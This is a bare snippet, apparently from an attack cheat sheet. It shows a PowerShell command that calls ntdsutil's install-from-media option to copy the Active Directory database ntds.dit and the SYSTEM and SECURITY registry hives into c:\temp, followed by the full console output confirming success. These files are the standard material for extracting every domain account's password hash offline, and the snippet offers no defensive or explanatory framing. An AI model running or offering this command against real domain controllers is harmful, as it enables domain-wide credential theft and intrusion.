powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
Output:
C:\Users\Administrator>powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"C:\Windows\system32\ntdsutil.exe: ac i ntdsActive instance set to "ntds".C:\Windows\system32\ntdsutil.exe: ifmifm: create full c:\tempCreating snapshot...Snapshot set {8860a3a3-5d94-4952-9060-89c6b412c4df} generated successfully.Snapshot {6908dc16-973d-406d-b970-94ec943ae166} mounted as C:\$SNAP_202306061921_VOLUMEC$\Snapshot {6908dc16-973d-406d-b970-94ec943ae166} is already mounted.Initiating DEFRAGMENTATION mode... Source Database: C:\$SNAP_202306061921_VOLUMEC$\Windows\NTDS\ntds.dit Target Database: c:\temp\Active Directory\ntds.dit Defragmentation Status (omplete)0102030405060708090100|----|----|----|----|----|----|----|----|----|----| ...................................................Copying registry files...Copying c:\temp\registry\SYSTEMCopying c:\temp\registry\SECURITYSnapshot {6908dc16-973d-406d-b970-94ec943ae166} unmounted.IFM media created successfully in c:\tempifm: qC:\Windows\system32\ntdsutil.exe: q